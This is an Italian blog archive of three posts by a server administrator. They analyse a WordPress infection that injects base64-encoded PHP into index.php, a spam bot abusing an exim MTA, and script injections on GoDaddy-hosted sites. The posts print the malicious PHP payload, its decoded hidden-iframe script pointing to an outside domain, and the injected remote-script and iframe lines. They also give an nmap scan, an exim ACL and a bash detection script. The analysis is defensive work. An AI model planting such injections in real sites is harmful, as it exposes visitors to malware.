Archivi tag: wordpress

XSS su WordPress

Negli ultimi tempi si è verificato un aumento esponenziale degli attacchi verso la piattaforma WordPress. Ciò, secondo me, è dovuto essenzialmente a due fattori:

1) Diffusione su larga scala della suddetta piattaforma, che la rende più appetibile ai cracker;

2) Scarsa sensibilizzazione dei webmaster, i quali, troppo presi dalla grafica e dalla stesura del codice lato server, tendono a trascurare pensantemente le patch di sicurezza, solitamente incluse negli aggiornamenti dei plugin e del CMS.

malware.jpg

L’ultimo attacco XSS con cui ho avuto a che fare presentava il seguente codice PHP iniettato in tutte i file index.php:

<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vdmlkaW50ZXguY29tL2luY2x1ZGVzL2NsYXNzLnBvcC5waHAiPjwvaWZyYW1lPjwvZGl2PicpOzwvc2NyaXB0Pg==');} echo $_SERVER["HTTP_HOST"]; ?>

Inoltre, sullo spazio FTP, era presente il seguente file:

google_verify.php

utilizzato un po’ come firma, ovvero per fare in modo che il malware non infettasse il server più volte.

Mediante la decodifica della stringa in Base64 sono riuscito a ricavare questo codice javascrip:

<scrip>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</scrip>

In particolare, esso non fa altro che iniettare un iframe nella pagina vittima. La URL a cui punta l’iframe in questione è:

http://vidintex.com/includes/class.pop.php

la quale, contattata manualmente mediante browser, mi restituisce un bell’errore HTTP 404 (not found). Ciò mi lascia pensare che l’attacco descritto in questo post si sviluppa in due fasi:

1) durante la prima fase vengono compromessi N server (ad esempio attraverso un attacco RFI), che verranno utilizzati come target dell’iframe;

2) successivamente, nella seconda fase, verrà perpetrato l’attacco XSS vero e proprio.

Ergo, quel not found indica semplicemente che uno dei server coinvolti nella prima fase è stato ripulito e patchato. Incuriosito, sono andato a cercare il codice sorgente della pagina class.pop.php, che potete consultare qui. Essa non fa altro che gestire le varie fasi che riguardano la connessione ad un server POP3. Indovinate cosa mi ha restituito un nmap verso vidintex.com?

Starting Nmap 5.00 ( http://nmap.org ) at 2013-01-15 10:28 CET
 Interesting ports on silver.sakma.com (217.113.244.170):
 Not shown: 848 closed ports, 142 filtered ports
 PORT     STATE SERVICE
 21/tcp   open  ftp
 22/tcp   open  ssh
 53/tcp   open  domain
 80/tcp   open  http
 110/tcp  open  pop3
 443/tcp  open  https
 993/tcp  open  imaps
 995/tcp  open  pop3s
 3306/tcp open  mysql
 8443/tcp open  https-alt

ovvero la porta 110 (POP3) è in ascolto sul server. Quindi, mediante questo giochetto, i cracker possono tentare l’accesso al demone di posta ospitato sul server Web, in modo semi-automatizzato e nascondendo le proprie tracce (l’IP sorgente sarà sempre e comunque localhost). Intendo precisare che le mie sono solo congetture, per avere informazioni più dettagliate dovrei studiare ulteriori casi. A tal proposito, se ne avete, fornitemeli (solo se la URL punta a class.pop.php).

Alla prossima.

Spam bot sui server Web

Scenario

Due server Web in produzione, SO *nix e framework Drupal.

Problema

Una tonnellata di email dirette agli indirizzi di posta elettronica più disparati.

Premessa

Riassumendo, è proprio questo il problema che si è verificato nei giorni scorsi su alcuni server che gestisco. Ora, affinchè lo spam bot possa funzionare è indispensabile che sulla macchina sia installato ed in esecuzione un MTA, magari senza autenticazione. Si, lo so, non prevedere alcun meccanismo di autenticazione per le email in uscita è altamente sconsigliato, ma dipende strettamente da quello che ci devi fare. Mi spiego: su quelle macchine le uniche email che devono essere inviate sono quelle generate da alcuni strumenti di monitoring, quali logwatch, rkhunter e compagnia bella. Ergo, in realtà, l’MTA non fa altro che appoggiarsi ad uno smarthost per l’inoltro della posta elettronica, fornito dall’hosting provider (ed il cui unico filtro è rappresentato dall’indirizzo IP sorgente). In soldoni, se la richiesta proviene da un IP appartenente al pool della LAN relativa all’hosting provider, la mail viene inviata, altrimenti nisba.

 

spambot.jpg

Detto ciò, è bene precisare che l’MTA attivo su quelle macchine è exim e non Postfix (per una semplice ragione di dimestichezza, ovvero conosco meglio il primo rispetto al secondo).

Soluzione

La prima cosa che ho notato listando il contenuto delle directory su cui sono ospitati i siti Web è stata la presenza di file tipici di WordPress, ad esempio wp-config.php. Si, esatto, questo spam bot è stato pensato per ambienti WP, come abbia fatto ad intrufolarsi in un framework Drupal devo ancora scoprirlo. Quello che so, però, è che si comporta sempre allo stesso modo: infetta il server, prende possesso dell’MTA ed invia email a più non posso.

Dunque, come potete facilmente immaginare, per arginare il problema ho impostato determinate ACL su exim, definendole in base all’indirizzo email di destinazione. Infatti, poichè le email di monitoring sono destinate esclusivamente a me ed al webmaster, è bastato inserire la seguente direttiva nel file di configurazione dell’MTA in questione:

accept  hosts = vostro.indirizzo1@email.it : vostro.indirizzo2@email.it

Per rendere effettive tali modifiche è stato necessario riavviare exim:

[root@bqweb2 ~]# service exim restart

Non conoscendo il baco che ha consentito al malware di infiltrarsi sui server, ho deciso anche di tirar su uno scrip bash che controllasse il contenuto delle dir target ed in caso di anomalie mi inviasse un’apposita email. In questo modo ho realizzato un sistema di sicurezza proattivo.

Ecco lo scrip:

#!/bin/bash

destinatario=vostro.indirizzo@email.it

cd /var/www/

grep -HR "wp-config.php" * > botcheck;

if [ -s botcheck ];then

cat botcheck | mail -iv -s "Server Bqweb2 Infected!" $destinatario;

fi

rm botcheck;

exit 0;

Esso non fa altro che andare alla ricerca del file wp-config.php. Se lo trova mi avvisa in modo tale da poter fare pulizia della directory.

Appena avrò maggiori info sul baco che ha consentito allo spam bot di infilarsi sulle mie macchine le pubblicherò.

Alla prossima.

GoDaddy.com sotto attacco?

Uno degli hosting provider più grandi al mondo, ovvero GoDaddy.com, da qualche giorno sembra essere sotto attacco.

Nello specifico, su alcuni siti viene iniettato del codice javascrip simile al seguente:

<scrip type="text/javascrip" src="http://certodominio/wp-content/uploads/process.js"></scrip>

Il contenuto dello scrip process.js è questo:

document.write('<iframesrc="http://altrodominio/t/5ad53fb3b6d8b22e91e679e16d77d767" width="2" height="3" frameborder="0"></iframe> ')

Ovvero tale scrip non fa altro che visualizzare in un iframe il contenuto di http://altrodominio/t/5ad53fb3b6d8b22e91e679e16d77d767

La suddetta URL mi lascia pensare che si tratti di un dominio creato appositamente per piazzarci sopra del codice malevolo oppure per carpire indirizzi IP ed informazioni varie relative ai visitatori.

Ho inoltre effettuato un whois verso domini coinvolti ed il risultato è che tutti e tre sono hostati su GoDaddy.com.

Registered through: GoDaddy.com, LLC (http://www.godaddy.com)

Soprattutto l’ultimo dominio, pur variando di caso in caso, risulta appartenere ad una persona specifica (vittima, secondo me, di un furto di identità).

A questo punto il sospetto rischia di diventare certezza…

Vi terrò comunque aggiornati.

A presto.